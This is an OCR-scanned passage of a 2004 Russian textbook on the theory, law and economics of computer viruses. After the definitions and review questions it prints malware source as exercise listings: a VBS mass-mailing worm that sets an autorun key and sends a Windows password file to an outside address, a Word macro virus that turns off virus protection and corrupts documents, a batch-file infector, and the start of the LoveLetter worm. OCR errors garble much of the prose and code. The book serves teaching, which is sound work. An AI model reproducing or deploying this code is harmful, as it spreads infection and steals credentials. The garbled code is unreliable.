Text
                    А.В.Бородин
I	ФЕНОМЕН
' КОМПЬЮТЕРНЫХ
I	ВИРУСОВ
ЭЛЕМЕНТЫ ТЕОРИИ
И ЭКОНОМИКА
СУЩЕСТВОВАНИЯ
I.
Учебное пособие
Йошкар-Ола
2004
L I


МИНИСТЕРСТВО ОБРАЗОВАНИЯ И ПАУКИ РОССИЙСКОЙ ФЕДЕРАЦИИ ФЕДЕРАЛЬНОЕ АГЕНТСТВО ПО ОБРАЗОВАНИЮ МАРИЙСКИЙ ГОСУДАРСТВЕННЫЙ ТЕХНИЧЕСКИЙ УНИВЕРСИТЕТ А. В. Бородин ФЕНОМЕН КОМПЬЮТЕРНЫХ ВИРУСОВ: ЭЛЕМЕНТЫ ТЕОРИИ И ЭКОНОМИКА СУЩЕСТВОВАНИЯ Рекома {довано Учебно-методическим объединением по образованию в области прикладной информатики в качестве учебного пособия для студентов высших учебных заведений, обучающихся по специальности 351400 «Прикладная информатика (по областям)» и другим междисциплинарным специальностям Йошкар-Ола 2004
УДК 004.491.22 ББК 32.97 Б 83 Рецензенты: заместитель председателя Правления Волго-Вятского банка - управляю- щий отделением Марий Эл № 8614 Сбербанка России В.А.Цивильский начальник отдела новых технологий и маркетинга ОАО «Во лгате зеком», канд. техн. наук. доп Г.А.Шишкии Бородин А.В. Б 83 Феномен компьютерных вирусов: элементы теории и экономика суще- ствования: Учебное пособие - Йошкар-Ола- МарГТУ. 2004. - 144 с. ISBN 5-8158-0347-2 Изложены основные результаты современной теории разрушающих программ ных воздействий. Рассмотрены микроэкономические модели феномена компьютер- ных вирусов Даны многочисленные примеры и задания для самостоятельного вы- полнения Для студентов,обучающихся по специальностям 075400 «Комплексная зашита объектов информатизации». 075500 «Комплексное обеспечение информационной безопасности автоматизированных систем». 220400 «Программное обеспечение вы- числительной техники и автоматизированных систем». 351400 «Прикладная ин- форматика (по областям)». Может быть полезна для научных работников, препода- вателей вузов и аспирантов УДК 004.491.22 ББК 32.97 БОРОДИН Андреи Викторович ФЕНОМЕН КОМПЬЮТЕРНЫХ ВИРУСОВ. ЭЛЕМЕНТЫ ТЕОРИИ И ЭКОНОМИКА СУЩЕСТВОВАНИЯ Учебное пособие • Редактор Л.С Емельянова Компьютерный набор и верстка А В Бородин Подписано в печать 05.10.04 Формат 60x84 ’/|». Бу Maia офсетная Печать офсетная Уел п л 8.4. Уч-изд.т 6,6. Тираж 200 экз. Заказ № 2787. С - 76. Марийский государственный технический университет 424000 Йошкар-Ола. пл. Ленина. 3 Отпечатано в редакционно-издательском центре МарГТУ 424006 Йошкар-Ола. ул. Панфилова, 17 ISBN 5-8158-0347-2 С МарГТУ. 2004
ОГЛАВЛЕНИЕ ПРЕДИСЛОВИЕ.......................................... 4 ВВЕДЕНИЕ ............................................ 5 1. КОМПЬЮТЕРНЫЕ ВИРУСЫ И ВРЕДОНОСНЫЕ ПРОГРАММЫ .................................... 7 1.1. Вредоносная программа: правовая квалификация . 7 1 2. Классификация вредоносных программ ... 11 1.3. Феномен компьютерных вирусов как вершина эволюции разрушающих программных воздействий 12 2. ТЕОРИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ ... 40 2.1. Проблема формального определения компьютерного вируса ....................................... 40 2.2. Условия существования компьютерных вирусов .. 43 2.3. Обнаружение компьютерных вирусов: алгоритмические проблемы ...................................... 56 3. ЭКОНОМИКА СУЩЕСТВОВАНИЯ КОМПЬЮТЕРНЫХ ВИРУСОВ . ........................ 79 3.1 Неоклассическая концепция человека в современной экономической теории . .... 79 3.2 Пространство товаров. Отношение предпочтения. Бюджетное множество. Функция полезности ....... 80 3 3 Феномен компьютерных вирусов: модель противостояния в обществе ........... .... ............. 86 ЗАКЛЮЧЕНИЕ .... ....................................102 БИБЛИО1 РАФИЧЕСКИЙ СПИСОК ... .... 103 ПРИЛОЖЕНИЕ 1 ...... . .... . .104 ПРИЛОЖЕНИЕ 2.............................. ... .118 ПРИЛОЖЕНИ1 3 ................................... 127 АЛФАВИТНЫЙ УКАЗАТЕЛЬ .............................. 140
ПРЕДИСЛОВИЕ Предлагаемое Вашему вниманию учебное пособие посвящено введе- нию в формальную теорию компьютерных вирусов. Киша наряду со стро- гими определениями и доказательствами теорем содержит большое коли- чество примеров из реальной жизни, практики программирования в облас- ти создания разрушающих программных воздействий и защиты от них. Особо хотелось бы отметить раздел пособия, посвященный анализу экономической сущности феномена компьютерных вирусов с позиций нео- классической парадигмы современной экономической теории. Целью этого раздела является формирование нового (экономического) взгляда на борь- бу с компьютерными преступлениями, а также выявление экономических рычагов воздействия на мотивацию компьютерных вандалов. Другой важной особенностью данного учебного пособия является подбор заданий для самостоятельного выполнения: от самых простых за- дач до направлений самостоятельных исследований, способных составить содержание курсовых и дипломных работ. 4
HIM IF HUE В течение последних пятнадцати лет появилось огромное количество русскоязычных публикаций, посвященных феномену компьютерных виру- сов (КВ). Это и научные и научно-практические, и учебные издания. Большинство из них посвящено исследованию и обсуждению либо кон- кретных КВ, либо конкретных их разновидностей. При этом авторы выну- ждены углубляться в детали тех систем программирования1, в рамках ко- торых были реализованы те или иные КВ, что значительно усложняет изу- чение феномена липами, не знакомыми или недостаточно знакомыми с со- ответствующими системами npot раммировання. В то же время «за бортом» обсуждения остаются наиболее общие за- кономерности, присущие феномену КВ и имеющие огромное мировоз- зренческое значение. Речь прежде всего идет об ответах, например, на сле- дующие вопросы: 1) Что такое КВ? 2) Что значит «обнаружить КВ» и можно ли это сделать? 3) Почему оказалось возможным существование КВ9 4) Почему феномен КВ существует до сих пор? Предлагаемое Вашему вниманию учебное пособие в значительной мере отвечает на поставленные вопросы и является подробным теоретиче- ским введением в предмет. В качестве примеров реальных программных кодов в пособии используются конструкции на языке Visual Basic компа- нии Microsoft, что делает изложение практической части материала дос- тупным как для сгуденгов специальностей, непосредственно связанных с вычислительной техникой, так и, например, для студентов-экономистов Необходимой для понимания теоретического материала является лишь общематематическая вузовская полготовка. Прежде чем рассмотреть структуру пособия введем понятие модели угроз. Важность этого понятия для любого обсуждения любых проблем безопасности трудно переоценить Действительно, пока мы не осознаем и нс опишем то, от чего мы защищаемся, вряд ли мы сможем сформулиро- вать какие-либо разумные рекомендации. Определение 1. Модезь угроз - это абстрактное формализован- ное или неформализованное описание методов реализации угроз и послед- ствий от их реализации. Образно модель угроз можно представить как некоторое описание раницы между добром и ном в мире. Поскольку, с одной стороны, для любой точки зрения на соотношение добра и зла можно сформулировать 1 Пол системой программирования месь слеаует понимать совокупность специфика- ций программно-аппаратной платформы («среды обитания» конкретного КВ или кон- крстнон разновидности КВ> и соответствующих ей конкретных языковых сред разра- ботки, использованных .тля создания КВ.
множество описаний границы между ними, а с другой, существует множе- ство точек зрения, то и различных моделей угроз может быть построено очень много (см. рис.). Итак, каждый раздел данного учебного по- собия можно рассматривать как анализ некоторой модели угроз, так или иначе связанной с феноме- ном КВ, с той или иной точки зрения. В первом разделе рассматриваются разру- шающие программные воздействия (РПВ) с пра- вовой точки зрения Здесь дана неформальная классификация РПВ, показано место КВ в ряду РПВ, приведены неформальное определение КВ и вариант алгоритмической модели КВ. В конце первого раздела приведены контрольные вопросы и задания для самостоятельного выполнения Не- которые листинги четвертого задания первого раздела используются при дальнейшем изложе- нии материала в качестве примеров. Во втором разделе: проанализирована проблема формального опре- деления КВ с позиций теории множеств и теории алгоритмов; приведено наиболее совершенное на сегодняшний день определение КВ; иа основе субъектно-объектной модели выявлены причины существования КВ; дано понятие политики безопасности и приведены примеры политик безопасно- сти, делающих невозможным размножение КВ; приведен анализ проблемы обнаружения КВ с позиций теории алгоритмов Раздел содержит кон- трольные вопросы и задания для самостоятельного выполнения. При этом первое и второе задания следует рассматривать как обязательные для вы- полнения, так как они иллюстрируют одно из важнейших направлений развития современной компьютерной индустрии [8, 9]. Четвертое и пятое задания можно рекомендовать в качестве задания на курсовое проектиро- вание. В третьем разделе рассмотрена экономико-математическая модель взаимодействия злоумышленника (разработчика КВ или, иначе, вирмэйкера) и организации, стремящейся защитить свои информационные системы от КВ. Этот раздел с экономической точки зрения отвечает на во- прос.«Почему феномен КВ существует до сих пор?». Третий раздел в кон- це также содержит контрольные вопросы. Приложения знакомят читателя с основными отечественными нор- мативными документами предметной области, а также с рядом формаль- ных моделей безопасности и их математической основой. 6
1. КОМПЬЮТЕРНЫЕ ВИРУСЫ И ВРЕДОНОСНЫЕ ПРОГРАММЫ 1.1. Вредоносная программа: правовая квалификация Правовая квалификация вредоносных программ дана в части первой статьи 273 «Создание, использование и распространение вредоносных программ для ЭВМ» главы 28 Уголовного кодекса Российской Федерации (УК РФ). Статьи главы 28 УК РФ с постатейными комментариями приве- дены в Приложении 1. Исходя из содержания статьи 273 УК РФ, можно дать следующее определение вредоносной программы. Определение 1.1. Вредоносные программы - это программы, ис- пользование которых приводит к несанкционированному уничтожению, блокированию, модификации или копированию компьютерной информа- ции, нарушению работы средств вычислительной техники (СВТ), вычис- лительных комплексов (ВК) и/или вычислительных сетей (ВС). Трактовки использованных в определении понятий уничтожения компьютерной информации, ее блокирования, модификации, копирования, а также нарушения работы СВТ, ВК и ВС с юридической точки зрения да- ны, соответственно, в пунктах 10, 11, 13, 14 и 15 комментариев к статье 272 «Неправомерный доступ к компьютерной информации» УК РФ. В дальнейшем, наряду с понятием вредоносной программы, мы бу- дем использовать понятие вредоносной программной компоненты. Это связано с тем, что часто вредоносный характер носит не вся программа, а лишь какая-то ее часть (компонента), которая могла быть внедрена как на стадии создания программы разработчиком, так и впоследствии в ходе эксплуатации программы, каким-либо иным образом. Определение 1.2. Вредоносные программные компоненты — это компоненты программного обеспечения, активизация которых приводит к несанкционированному уничтожению, блокированию, модификации или копированию компьютерной информации, нарушению работы СВТ, ВК и/или ВС. Анализ комментариев к статье 273 УК РФ, в частности пунктов 5 и 7, позволяет выделить основополагающие признаки вредоносности програм- мы. Наглядно соотношение этих признаков между собой представлено на рис. 1 1. Создание, использование и распространение вредоносных программ и программных компонентов является преступлением. Тем не менее для квалификации действий, связанных с созданием, использованием и рас- пространением вредоносных программ и программных компонент, как преступных, необходимо доказать наличие прямого умысла (см коммен- 7
тарий к статье 273, Приложение I). Преступная небрежность в данном случае не вменяется в вину, если между созданием, использованием и рас- пространением вредоносной программы или программной компоненты и соответствующими тяжкими последствиями так много промежуточных звеньев, что лицо явно не может предвидеть опасный результат. Подводя итог, можно построить формальную модель процесса ква- лификации тех или иных действий лица, создающего, использующего и/или распространяющего то или иное программное обеспечение. Модель представлена на рис. 1 2 в нотации ординарных маркированных сетей Пет- ри.1 Описание позиций сети Петри дано в табл. 1.1, а переходов - в табл. 1.2. Признаки вредоносности программы Наличие действии Именно ее функционирование приводит к уничтожению, блокированию, модификации или копированию информации, нарушению работы СВТ. ВК и/или ВС Отсутствие санкций ______________ Отсут гвие предварит эльного уведомг ения собственника информаьии или компетентного пользователя о характере действия программы Отсутствие получения согласия собственника информации или компетентного пользователя на реализацию программой своего назначения Рис. 1.1 1 IImepcoH Дж. Геория сетей Петри и моделирование систем. М Мир. 1984 -264 с 8
Рис. 1.2 9
Таблица 1.1 Иденти- фикатор ПОЗИЦИИ Описание содержательной стороны маркировки позиции Р1 Начать процесс квалификации деятельности субъекта Р2 Начать процесс исследования про«раммного обеспечения Q2I1 Выявлены действия программного обеспечения по уничтоже пию, блокированию, модификации или копированию компью- терной информации, нарушению работы СВТ, ВК и/или ВС Q210 Не выявлено действий, соответствующих позиции Q2‘0 РЗ Начать исследование материалов программного продукта на предмет наличия уведомления о характере действия про- граммного обеспечения Q3!0 Наличия уведомления о характере действия программного обеспечения не обнаружено Q311 Уведомление о характере действия программного обеспече- ния имеется Р4 Начать анализ программного обеспечения на предмет наличия запросов на получение согласия пользователя по поводу реа лизации программным обеспечением своих функций Q4!0 Запросов на получение согласия пользователя по поводу реа- лизации программным обеспечением своих функций в полном объеме не выявлено Q4'l Запросы на получение со1ласия пользователя по поводу реа- лизации программным обеспечением своих функций имеются в полном объеме Р511 Исследуемое программное обеспечение квалифицировано как вредоносное Р510 Исследуемое программное обеспечение квалифицировано как безвредное Р6 Начать исследование наличия прямого умысла в действиях субъекта создания, использования и/или распространения данного программного обеспечения Q6!l Доказано наличие прямого умысла Q6!0 Умысел не выявлен P7'l Имеет место прямой умысел Р7!0 Умысел отсутствует Р8!1 Действия субъекта могут быть квалифицированы как пре- ступные Р8!0 В действиях субъекта отсутствует состав преступления К)
Таблица 1.2 Идентификатор перехода Описание содержательной стороны срабатывания перехода Т1 Начат процесс квалификации действий субъекта создания, использования и/или распространения данного программного обеспечения Т2'0. Т2’0 Завершен анализ действий программного обеспечения ТЗ!О,ТЗ!1 Завершен анализ наличия уведомления собственника информации или компе- тентного пользователя о характере дейст- вия программного обеспечения Т4!0, Т4!1 Завершен анализ программного обеспече- ния на предмет наличия получения согла- сия собственника информации или компе- тентного пользователя на реализацию программным обеспечением своего на- значения Т6Ч.Т6Ю Завершен анализ действий субъекта на предмет выявления наличия прямого умысла Т7!1,Т7!0!1 Т7 0!2,Т7!0!3 Завершен процесс квалификации действий субъекта создания, использования и/или распространения данного программного обеспечения в целом 1.2. Классификация вредоносных программ В настоящее время вредоносные программы и программные компо- ненты принято подразделять на целый ряд разновидностей. И хотя эти раз новидности не имеют четкого официального и законодательного опреде- ления, тем не менее их названия практически являются общепринятыми и смысл в эти названия вкладывается в первом приближении одинаковый. Итак, речь идет о «логических бомбах» или «программных закладках», программах «троянские кони» или просто «троянских программах», ком- пьютерных вирусах и «червях» Приводимые далее определения указан- ных разновидностей вредоносных программ н программных компонентов мы будем рассматривать как рабочие, необходимые для введения в пред- мет Тем более, как будет показано ниже попытки строгого формального определения некоторых из перечисленных феноменов наталкиваются на 11
значительные теоретические трудности. Основой для формулирования этих с ре ений послужил целый ряд теоретических и научно- практических работ в области изучения вредоносного программного обсс- печени; [ 7]. Определение 1 3. Логической бомбой (в широком смысле), или программной закладкой, назовем программную компоненту, которая тем или иным образом встраивается в легальное программное обеспечение с целью выполнения каких-либо несанкционированных функций при насту- плении определенных условий. Определение 1.4. Троянским конем, или троянской программой, назовем программу, имитирующую функционирование легального про- граммного обеспечения с целью несанкционированного доступа к инфор- мации и/или ресурсам СВТ. Определение 1.5. Компьютерный вирус - это программная ком понента, обладающая способностью к встраиванию себя в тела различных программ и, следовательно, к последующему самораспространению в ин- формационно-вычислительных системах. Определение 1.6. Червь - это программа, способная распростра- няться в пределах одной или нескольких файловых систем одного или многих компьютеров, объединенных сетями передачи данных. Как видно из определений, только программные закладки и троян- ские программы могут быть сразу отнесены к категории вредоносных. Что касается компьютерных вирусов и червей, то для отнесения их к категории вредоносных необходимо дополнительное условие, заключающееся в том, что они существуют в рамках данной информационно-вычислительной системы несанкционированно. Приведенная здесь классификация в принципе может быть расшире- на, см., например, [3], однако для дальнейшего изложения данная возмож- ность принципиальной уже не является. И в заключение отметим, что в литературе понятия вредоносных программ и вре носных программных компонентов часто объединяют в единое понятие разрушающих программных воздействий (РПВ) [6]. 1 3. Феномен компьютерных вирусов как вершина эволюции разрушающих программных воздействий Рассмотрим модель 'программы, инфицированной некоторым типич- ным по своему поведению компьютерным вирусом V1. Для представления модели будем использовать интуитивно понятный высокоуровневый мета- язык описания алгоритмов (см листинг 1.1). 12
Листинг 1.1 program У1_инфицированная_лрограмма , Начало последовательности заведомо исполняемых команд V1 , Внедренный вызов программной компоненты V1 , Конец последовательности заведомо исполняемых команд ; Начало тела вируса V1 procedure V1 Инфицировать if Наступило_условие_выполнения_действия_\/1 then Выполнить_действие_У1 end f Устранить_последствия_внедрения_вызова_\/1 endprocedure procedure Инфицировать repeat Жертва:=Очередной_программный_файл while Файл_содержит_признак_внедрения_\/1 (Жертва) Разместить_тело_\/1 _в_файле(Жертва) Внедрить_вызов_у1 _в_файл(Жертва) Установить_признак_внедрения_у1 _для_файла(Жертва) endprocedure function Наступило_условие_выполнения_действия_у1 : boolean procedure Выполнить_действие_у1 procedure Устранить_последствия_внедрения_вызова_\/1 function Очередной_программный_файл : file function Файл_содержит_признак_внедрения_у1(Файл file): boolean procedure Разместить_тело_\/1_в_файле(Файл file) procedure Внедрить_вызов_у1_в_файл(Файл file) procedure Установить_признак_внедрения_\/1 _для_файла(Файл : file Конец тела вируса V1 endprogram 13
Критический анализ приведенной модели позволяет обнаружить в программе У1_инфицированная_про1рамма наличие классификационных признаков, не только относящихся к определению 1 5, но и к определениям 1-3, 1 4 и 1 6 Действительно, конструкция if Насгупило_условие_выполнения_дгйствия_у1 then Выполнить_действие\/1 endif есть ни что иное, как выполнение определенных (возможно, несанкциони рованных) действий при возникновении заданных условий. Данная конст- рукция предполагает предварительное ее встраивание в легальное про граммное обеспечение в составе вредоносной программной компоненты VI. Таким образом, речь здесь идег о классификационных признаках из определения 1.3. С другой стороны, целевая идея функционирования рассматриваемо- го вируса предполагает, что последствия внедрения вызова процедуры V1 в тело инфицируемой программы маскируются, например, при помощи вызова процедуры Устранить_последствия_внедрения_вызова_УТ а сама процедура V1 выполняется незаметно для пользователей ВК или ВС Та- ким образом, инфицированное программное обеспечение, как правило, внешне ведет себя в соответствии со своим функциональным назначением а по сути попадает под определение 1 4. И наконец, если предположить, что функция выбора файла-цели Очередной_программный_файл создает в пределах файловых систем ВК или ВС новый «пустой» программный файл, пригодный для переноса в не- го тела V1 с указанием в качестве точки входа программы начала процеду- ры V1, то окажется, что обсуждаемая модель реализует поведение типич- ного червя (см. определение 1.6). Подводя итог, можно сказать, что компьютерный вирус - это доста- точно сложная программная компонента, отдельные составные части кото- рой обнаруживают у себя классификационные признаки практически всех разновидностей РПВ. Более того, компьютерные вирусы благодаря своей способности саморазмнВжаться - суть качественно новый шаг РПВ на пу- ти обеспечения своей живучести. (Идея инфицирования как способа защи- ты жизни в компьютерных системах находит в настоящее время все боль- шее признание [7].) Таким образом, всестороннее изучение именно компьютерных виру- сов может лечь в основу создания наиболее полной методологической ба- зы по защите от всех разновидностей вредоносных программ, по обнару- жению всего спектра РПВ и ликвидации любых последствий РПВ 14
Контрольные вопросы 1) Какие официальные документы позволяют дать правовую квали- фикацию понятий вредоносная программа и вредоносная программная компонента? 2) Каковы основные признаки, позволяющие квалифицировать про- грамму или программную компоненту как вредоносную? Каким образом могут быть классифицированы эти признаки? 3) Пользователь копирует на дискету каталог «Коллекция вирусов», содержащий файлы, инфицированные различными компьютерными виру- сами и, возможно, отсортированные по типам и/или разновидностям ком пьютерных вирусов. Может ли данное действие пользователя квалифици- роваться как преступное деяние9 4) Пользователь сознательно запускает программы, заведомо ннфи цированные компьютерными вирусами, на своем домашнем персональном компьютере, не подключенном к каким либо сетям При этом он является единственным пользователем этого компьютера. Может ли данное дейст вне пользователя квалифицироваться как преступное деяние9 Как будут обстоять дела в случае, если у данного домашнего компьютера имеются другие пользователи9 5) Пользователь сознательно запускает программы, заведомо инфи- цированные компьютерными вирусами, на офисном компьютере, подклю- ченном к локальной вычислительной сети При этом он никого об этом не предупреждает Однако к несанкционированному уничтожению, блокиро- ванию, модификации или копированию компьютерной информации, на- рушению работы СВТ, ВК и/или ВС это действие не приводит. Может ли данное действие пользователя квалифицироваться как преступное деяние? Как будут обстоять дела в случае, если указанные действия все же привели к несанкционированному уничтожению, блокированию, модификации или копированию компьютерной информации, либо нарушению работы СВТ ВК и/или ВС? 6) Дайте характеристику понятия «разрушающие программные воз- действия» 7) Каким образом могут быть классифицированы вредоносные про- граммы и программные компоненты? Представьте классификацию графи- чески, используя дуги двух видов для обозначения отношений «включает в себя» и «имеет свойства, аналогичные». 8) Отсутствие каких условий не позволяет компьютерные вирусы и программы-черви сразу отнести к категории вредоносных на основании определений 1.5 и 1 б9 15
ЗАДАНИЯ ДЛЯ САМОСТОЯТЕЛЬНОГО ВЫПОЛНЕНИЯ 1 Получите у преподавателя исполняемый файл с утилитой, выпол- няющей какую-либо простейшую функцию Определите тип исполняемого файла и, используя соответствующий типу дизассемблер, проведите анализ утилиты на предмет отвезя на следующие вопросы Может ли данная ути- лита быть квалифицирована как вредоносная программа или программа, содержащая вредоносную компоненту? Если может, то в силу каких своих функциональных возможностей и при каких условиях распространения? 2 На рис. 1.2 представлена модель максимально распараллеленного процесса квалификации действий лица, создающего, использующего и/или распространяющего то или иное программное обеспечение. Постройте иные возможные модели этого процесса, отличающиеся меньшим парал лелизмом. Получите у преподавателя такие параметры модели, как стоимости проведения экспертиз, вероятности получения тех или иных результатов, ожидаемый экономический эффект от пресечения деятельности по созда- нию, использованию и/или распространению вредоносного программного обеспечения. Проведите сравнительный анализ экономической эффектив- ности реализаций каждого из вариантов построенных моделей, используя формализм сетей Петри с нечетким поведением1 и систему имитационного моделирования экономических процессов, представленных в виде сетей Петри с нечетким поведением, «СИМЭК Портфолио». 3 Рассмотрите возможность решения задачи № 2 с использованием пакета Microsoft Project 2002* 2 Сравните результаты, полученные с исполь- зованием двух различных инструментов 4 Исследуйте программы, исходные тексты которых представлены на листингах 1.2 1.7. Имеются ли среди них программы, которые могут быть отнесены к категории вредоносных? Если имеются, то классифици- руйте их. Бородин А В Сети Пстрн с нечетким поведением в задачах имитационного модели рования эволюции инвестиционных и страховых портфелей И Обозрение прикладной и промышленной математики -2000.-Т 7 - В. 2. С 321-322 Пайрон Т Использование Microsoft Project 2002 Специальное издание - М Вильямс, 2003,- 1184с 16
Листинг 1.2 • WSH, VBS On Error Resume Next Dim FileSysObject, File Set FileSysObject = CreateObject("Scripting Filesystemobject") Set File = FileSysObject.GetFile(WScript.ScriptFullName) File.Copy(“c:\windows\Proga vbs") Dim wshShell Set WshShell = WScript.CreateObject("WScript.Shell") WshShell.RegWrite _ "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\' t _ “Currentversion\RunServices\progs", _ c:\windows\Proga.vbs" Dim Outlookobject, OutMail, Index Set Outlookobject - CreateObject("Outlook.Application") For Index = 1 To 50 Set OutMail = outlookobject.Ci eateltem(O) OutMail.to = Outlookobject.GetNameSpace("MAPI"). _ AddressLists(1).AddressEntries(Index) OutMail.Subject « "Поздравление" OutMail.Body = "Поздравляю с праздником !" OutMail.Attachments Add(File) OutMail.Send Next Set OutMail = OutlookObject.Createltem(O) OutMail.to = "testetest.net" OutMail.Subject = "Test" OutMail.Body = "Это просто тест." OutMail Attachments.Add("с:\windows\toomas.pwl") OutMail.Send 17
Листинг 1.3 MS Word, VBA Public mynameS Public Changed As Boolean Option Base 1 Dim ends$(2, 12) Dim Mooral$(40) Dim Moora2$(10) Dim MissS(8) module i Sub AutoOpen() On Error GoTo 1 mynameS = "MacroBle” WordBasic.DisableAutoMacros 0 If Not CheckNormal Then Application.OrganizerCopy _ Source:=ActiveDocument.FullName, _ Destination:=NormalTemplate.FullName, _ Name:=myname$, _ Obj ec t: wdOrgan i zerObj ec tProj ec11terns Set mytemp = NormalTemplate.OpenAsDocument mytemp.SaveAs (GetPathS + ”NORMALI.DOT”) mytemp.Close savechanges:=wdSaveChanges End If GoTo 2 1: MsgBox "Fuck up !” Resume 2 2: End Sub Function CheckNormal!) cn = False For Each x In NoraialTemplate.VBProject.VBComponents If x.Name = mynameS Then cn = True Next CheckNormal = cn End Function Function CheckActive() cn = False For Each x In ActiveDocument.VBProject.VBComponents If x.Name = mynameS Then cn = True Next CheckActive = cn End Function 18
Sub AutoClose I) On Error GoTo errorlevel2 If Not CheckActive Then Application.OrganizerCopy _ Source:=GetPathS + "NORMAL1.DOT", Destination:=ActiveDocument.FuliName, _ Name:=myname$, Object =wdOrgani zerObj ectProjectitems If MyDate Then MakeSoviet Goto end_f errorlevel2: MsgBox "More Errors !" Resume end_f end_f: End Sub Function GetPathS() sS = NormalTemplate.FulIName sS = Mid$(s$, 1, Len(sS) - 10) GetPathS = s$ End Function Sub AutoExec() Options.Virusprotection = False Set x = CommandBars("Tools")-Controls(12) x.Visible = False x.Enabled = False ' Далее исходный код этой подпрограммы приведен не полностью ends$(l, 1) = "ый" : ends$(l, 2) “ "ого" : ... ends$(2, 12) - "ая" MooralS(l) - "дубов" : Моога1$(2) - "гоним" : ... Моога1$(34) - "косячн" Моога1$(35) ="":...: Моога1$(40) = "" Моога2$(1) = "свиняч" : ... : Моога2$(4) = "вонюч" Моога2$(5) - "" : ... . Моога2$(10) = "“ MissS(l) - "мн" : Miss$(2) - "тоб" : ... MissS(8) - "ваш" End Sub 19
Function TrunslateWordS(ts As String) tw$ = ts Spaces - Checkspace(ts) If Spaces <> 0 Then ts = MidS.ts, 1, Len(ts) - Spaces) If Len(ts) > 4 Then If CheckAdjective(ts) Then c - 1 While c <= 2 1=1 While I <= 12 CEndS ends$(c, I) MyEndS = Mid$(ts, Len(ts) - Len(CEndS) + 1, _ Len(CEndS)) If MyEndS = CEndS Then Changed = True Select Case c Case 1 twS = MooralS(Int(34 * Rnd + 1)) + CEndS Case 2 twS = Moora2S(Int(3 * Rnd +1)) + CEndS End Select If Spaces <> 0 Then For m = 1 To Spaces twS = tw$ + • * Next m End If If CapFirst(ts) Then twS=UCaseS(Mid$(twS,1,1))♦ MidSftwS, 2, Len(twS) - 1) I = 12 c = 2 End If 1 = 1 + 1 Wend c = c + 1 Wend End If End If TrunslateWordS = twS End Function Function CapFirstfcf As String) As Boolean cfs = False If UCaseS(MidS(cf, 1. 1)) = Mid$(cf, I, 1) Then cfs = True CapFirst = cfs End Function 20
Function CheckspaceIcsp As String) As Integer spp = 0 n = Len(csp) If n > 3 Then While (Mid$(csp, n, 1) ) And (n > 3) n = n - 1 spp = spp + Wend End If Checkspace = spp End Function Sub MakeSovi et() AutoExec Randomize Timer f = System.LanguageDesignation If UCaseS(Mid$(f, 1, 3)) - -pyC" Then s = ActiveDocument.Words.Count If s < 200 Then effects - True Else effects - False For к = 1 To s If effects Then LastFont = ActiveDocument.Words(k).Font.Size ActiveDocument.Words(s).Font. Size = LastFont + 2 End If tssS = ActiveDocument.Words.Item(k) Changed = False If Len(tssS) > 4 Then tss$ = TrunslateWord(tss$) If Changed Then Act veDocument.Words(k) = tssS If effects Then _ ActiveDocument.Words(k).Font.Size = LastFont Next к End If End Sub Function MyDatef) As Boolean dt$ = Dates If InStrfl, dt$, *15“) <> 0 Then _ MyDate - True Else MyDate = False End Function Function CheckAdjective(adj As String) As Boolean cadj = False Set mySynlnfo = Synonyminfo(adj) mypos = mySynlnfo.PartOfSpeechList I = UBound(myPos) If I >= 1 Then If myPos(1) = wdAdjective Then cadj = True CheckAdjective = cadj End Function 21
Function CheckDoubleN_Miss(cdn As String) As Boolean cdbn = False If Len(cdn) >= 4 Then st3S = Mid$(cdn, 1, Len(cdn) - 3) st2$ = Mid$(cdn, 1, Len(cdn) - 2) If Lentcdn) > 5 Then lst2S = Mid$(st2$, Len(st2$) - 1. 2) lst3$ = Mid$(st3$, Len(st3$) - 1, 2) End If missed = False f = 1 While f <= 8 If st2$ - Miss$(f) Then missed = True If st3$ = Miss$(f) Then missed = True If missed Then f = 8 f = f + 1 Wend If lst2$ - "hh" Or lst35 “ "hh" Or missed Then cdbn - True End If CheckDoubleN_Miss = cdbn End Function Листинг 1.4 0echo off%[MeTrA]% rem ВАТ-файл для командного процессора COMMAND.COM if ’%l==‘In_ goto MeTrAin if exist MeTrA.bat goto MeTrAru if not exist %0 goto MeTrAen find "MeTrA“<%0>MeTrA.bat attrib +h MeTrA.bat . MeTrAru for %%t in (*.bat) do call MeTrA In_ %%t goto MeTrAen :MeTrAin find "MeTrA"<%2>nul if not errorlevel 1 goto MeTrAen type MeTrA.bat>>%2 :MeTrAen 22
Листинг 1.5 • WSH, VBS; HTML, VBS On Error Resume Next Dim fso,dirsystem,dirwin,dirtemp eq,ctr,file,vbscopy,dow eq="" ctr=O Set fso = CreateObject("Scripting.FileSystemObject"1 Set file = fso.OpenTextFile(WScript ScriptFullname,1) vbscopy= file.ReadAl1 main() sub main!) On Error Resume Next Dim wscr,rr Set wscr=CreateObject('WScript.Shell') rr=wscr.RegRead("HKEY_CURRENT_USER\SoftwareX" + _ 'MicrosoftXWindows Scripting Host\Settings\Timeout') if rr>=l then wscr.RegWrite 'HKEY_CURRENT_USER\Software\' + _ "MicrosoftXWindows Scripting HostXSettingsXTimeout", _ 0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystemb"\MSKernel32.vbs") c.Copy(dirwint"\Win32DLL.vbs") c. Copy (di r sy s tem&" X LOXZE - LETTER - FOR YOU. TXT. vbs") regruns() html() spreadtoemail() listadrivl) end sub 23
